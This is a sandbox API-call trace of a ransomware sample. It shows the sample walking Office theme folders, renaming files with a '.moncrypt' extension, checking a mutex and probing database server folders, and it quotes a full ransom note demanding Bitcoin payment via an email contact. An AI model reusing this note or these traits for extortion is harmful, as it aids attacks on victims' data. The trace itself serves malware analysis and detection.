[0050.862] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.862] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.862] GlobalUnlock (hMem=0x440004) returned 0 [0050.862] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.862] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.862] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.862] GlobalUnlock (hMem=0x440004) returned 0 [0050.862] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.862] GlobalUnlock (hMem=0x44000c) returned 0 [0050.862] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0050.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f891f20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f891f20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f891f20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0050.862] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0050.862] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0050.862] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0050.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0050.862] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.863] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.863] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.863] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.863] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0050.863] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0050.863] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0050.863] CloseHandle (hObject=0x18c) returned 1 [0050.863] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0050.863] GetLastError () returned 0x12 [0050.863] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.863] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.863] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.863] GlobalUnlock (hMem=0x44000c) returned 0 [0050.863] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.863] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.863] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.863] GlobalUnlock (hMem=0x44000c) returned 0 [0050.863] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.863] GlobalUnlock (hMem=0x440004) returned 0 [0050.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f891f20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f891f20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0050.864] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0050.864] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.864] GlobalLock (hMem=0x440004) returned 0x550170 [0050.864] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.864] GlobalUnlock (hMem=0x440004) returned 0 [0050.864] GlobalLock (hMem=0x440004) returned 0x550170 [0050.864] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.864] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.864] GlobalUnlock (hMem=0x440004) returned 0 [0050.864] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.864] GlobalUnlock (hMem=0x44000c) returned 0 [0050.864] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.864] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3f891f20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f891f20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.864] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.864] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.864] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.864] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.864] GlobalUnlock (hMem=0x44000c) returned 0 [0050.864] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.864] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.864] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.865] GlobalUnlock (hMem=0x44000c) returned 0 [0050.865] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.865] GlobalUnlock (hMem=0x440004) returned 0 [0050.865] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.865] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xebbf, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM.moncrypt", cAlternateFileName="BOLDST~1.MON")) returned 1 [0050.865] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.865] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.865] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.865] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.865] GlobalUnlock (hMem=0x440004) returned 0 [0050.865] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.865] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.865] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.865] GlobalUnlock (hMem=0x440004) returned 0 [0050.865] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.865] GlobalUnlock (hMem=0x44000c) returned 0 [0050.865] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.865] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1 [0050.865] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.865] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.865] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.865] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.865] GlobalUnlock (hMem=0x44000c) returned 0 [0050.865] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.865] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.865] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.865] GlobalUnlock (hMem=0x44000c) returned 0 [0050.866] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.866] GlobalUnlock (hMem=0x440004) returned 0 [0050.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.866] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f891f20, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3f891f20, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3f891f20, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0050.866] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.866] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.866] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.866] GlobalUnlock (hMem=0x440004) returned 0 [0050.866] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.866] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.866] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.866] GlobalUnlock (hMem=0x440004) returned 0 [0050.866] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.866] GlobalUnlock (hMem=0x44000c) returned 0 [0050.866] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.866] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0050.866] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.866] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.866] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.866] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.866] GlobalUnlock (hMem=0x44000c) returned 0 [0050.866] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.866] GlobalLock (hMem=0x440004) returned 0x557b88 [0050.866] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.866] GlobalUnlock (hMem=0x44000c) returned 0 [0050.866] GlobalHandle (pMem=0x557b88) returned 0x440004 [0050.866] GlobalUnlock (hMem=0x440004) returned 0 [0050.867] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.867] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0050.867] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0050.867] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0050.867] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.867] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.867] GlobalUnlock (hMem=0x440004) returned 0 [0050.867] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.867] GlobalLock (hMem=0x44000c) returned 0x557b88 [0050.867] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.867] GlobalUnlock (hMem=0x440004) returned 0 [0050.867] GlobalHandle (pMem=0x557b88) returned 0x44000c [0050.867] GlobalUnlock (hMem=0x44000c) returned 0 [0050.867] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.867] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0050.867] GetLastError () returned 0x12 [0050.867] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0050.867] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0050.867] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0050.868] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0050.868] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.868] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.868] GlobalUnlock (hMem=0x44000c) returned 0 [0050.868] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.868] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.868] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.868] GlobalUnlock (hMem=0x44000c) returned 0 [0050.868] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.868] GlobalUnlock (hMem=0x440004) returned 0 [0050.868] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.868] GlobalLock (hMem=0x440004) returned 0x550170 [0050.868] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.868] GlobalUnlock (hMem=0x440004) returned 0 [0050.868] GlobalLock (hMem=0x440004) returned 0x550170 [0050.868] GlobalLock (hMem=0x44000c) returned 0x555b78 [0050.868] GlobalHandle (pMem=0x550170) returned 0x440004 [0050.868] GlobalUnlock (hMem=0x440004) returned 0 [0050.868] GlobalHandle (pMem=0x555b78) returned 0x44000c [0050.868] GlobalUnlock (hMem=0x44000c) returned 0 [0050.868] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0050.868] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE", len=0x3e | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE") returned 1 [0050.869] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.869] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.869] GlobalUnlock (hMem=0x44000c) returned 0 [0050.869] GlobalLock (hMem=0x44000c) returned 0x550170 [0050.869] GlobalLock (hMem=0x440004) returned 0x555b78 [0050.869] GlobalHandle (pMem=0x550170) returned 0x44000c [0050.869] GlobalUnlock (hMem=0x44000c) returned 0 [0050.869] GlobalHandle (pMem=0x555b78) returned 0x440004 [0050.869] GlobalUnlock (hMem=0x440004) returned 0 [0050.869] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@꟎RꞢR企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0050.870] GetLastError () returned 0x3 [0050.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0050.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0050.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18㿬Q\x181")) returned 0xffffffff [0050.870] GetLastError () returned 0x2 [0050.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0050.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0050.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0050.871] GetLastError () returned 0x2 [0050.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0050.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0050.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0050.871] GetLastError () returned 0x2 [0050.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\") returned 0x3f [0050.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69f78, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0050.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0050.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69e80, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꜤR企@\x18뭼R\x18j")) returned 0xffffffff [0050.872] GetLastError () returned 0x2 [0050.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\", cchLength=0x3f | out: lpsz="c:\\program files\\common files\\microsoft 